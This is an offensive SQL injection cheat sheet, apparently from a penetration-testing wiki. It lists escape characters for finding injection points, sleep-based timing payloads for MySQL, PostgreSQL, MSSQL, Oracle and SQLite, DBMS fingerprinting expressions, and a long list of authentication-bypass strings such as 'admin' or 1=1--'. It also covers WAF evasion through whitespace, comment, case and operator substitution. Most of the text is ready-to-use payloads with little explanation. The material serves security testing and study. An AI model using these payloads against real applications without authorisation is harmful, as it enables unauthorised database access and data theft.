SQL Injection
SQL injection (SQLi) is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. This can allow an attacker to view data that they are not normally able to retrieve.
Entry Point Detection
When a website exhibits unusual server responses to SQL injection-related inputs, suggesting a potential vulnerability, the first priority is determining how to inject data into the query without breaking it. This involves effectively escaping the current context. Below are some common examples of escape sequences that can be useful
Error Messages
Inputting special characters into input fields might trigger SQL errors. f the application displays detailed error messages, it can indicate a potential SQL injection point.
'
%27
"
%22
#
%23
;
%3B
)
Wildcard (*)
' # Required for XML content
%%2727 # Multiple encoding
%25%27 # Multiple encodingLogic Testing
By inputting tautological (always true) conditions, you can test for vulnerabilities.
home.php?id=1 or 1=1 -- true
home.php?id=1' or 1=1 -- true
home.php?id=1" or 1=1 -- true
home.php?id=1 and 1=2 -- falseTiming Attacks
Inputting SQL commands that cause deliberate delays (e.g., using SLEEP or BENCHMARK functions in MySQL) can help identify potential injection points. If the application takes an unusually long time to respond after such input, it might be vulnerable.
MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)
PostgreSQL (only support string concat)
1' || pg_sleep(10)
MSQL
1' WAITFOR DELAY '0:0:10'
Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))DBMS Identification
The best way to identify the back-end is trying to execute functions of the different back-ends.
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
["connection_id()=connection_id()" ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)" ,"MSSQL"],
["@@CONNECTIONS>0" ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS" ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY" ,"MSSQL"],
["USER_ID(1)=USER_ID(1)" ,"MSSQL"],
["ROWNUM=ROWNUM" ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')" ,"ORACLE"],
["LNNVL(0=123)" ,"ORACLE"],
["5::int=5" ,"POSTGRESQL"],
["5::integer=5" ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"],
["current_database()=current_database()" ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()" ,"SQLITE"],
["last_insert_rowid()>1" ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()" ,"SQLITE"],
["val(cvar(1))=1" ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0" ,"MSACCESS"],
["cdbl(1)=cdbl(1)" ,"MSACCESS"],
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],DBMS Identification via Error
MySQL
You have an error in your SQL syntax; ... near '' at line 1
'
PostgreSQL
ERROR: unterminated quoted string at or near "'"
'
PostgreSQL
ERROR: syntax error at or near "1"
1'
Microsoft SQL Server
Unclosed quotation mark after the character string ''.
'
Microsoft SQL Server
Incorrect syntax near ''.
'
Microsoft SQL Server
The conversion of the varchar value to data type int resulted in an out-of-range value.
1'
Oracle
ORA-00933: SQL command not properly ended
'
Oracle
ORA-01756: quoted string not properly terminated
'
Oracle
ORA-00923: FROM keyword not found where expected
1'
Authentication Bypass
'-'
' '
'&'
'^'
'*'
' or 1=1 limit 1 -- -+
'="or'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
'-||0'
"-||0"
"-"
" "
"&"
"^"
"*"
'--'
"--"
'--' / "--"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x
or 2 like 2
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' -- -
admin' #
admin'/*
admin' or '2' LIKE '1
admin' or 2 LIKE 2--
admin' or 2 LIKE 2#
admin') or 2 LIKE 2#
admin') or 2 LIKE 2--
admin') or ('2' LIKE '2
admin') or ('2' LIKE '2'#
admin') or ('2' LIKE '2'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin';--
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055WAF Bypass
White spaces alternatives
No space allowed (
%20) - Bypass using whitespace alternatives
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--No space allowed (
%20) - Bypass using comments
?id=1/*comment*/and/**/1=1/**/--No space allowed (
%20) - Bypass using parenthesis
?id=(1)and(1)=(1)--No comma Allowed
Bypass using OFFSET, FROM and JOIN
LIMIT 0,1 -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)dNo Equal Allowed
Bypass using LIKE/NOT IN/IN/BETWEEN
?id=1 and substring(version(),1,1)like(5)
?id=1 and substring(version(),1,1)not in(4,3)
?id=1 and substring(version(),1,1)in(4,3)
?id=1 and substring(version(),1,1) between 3 and 4Case Modification
Bypass using uppercase/lowercase (see keyword AND
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#Bypass using keywords case insensitive / Bypass using an equivalent operator
AND -> &&
OR -> ||
= -> LIKE,REGEXP, BETWEEN, not < and not >
> X -> not between 0 and X
WHERE -> HAVINGLast updated
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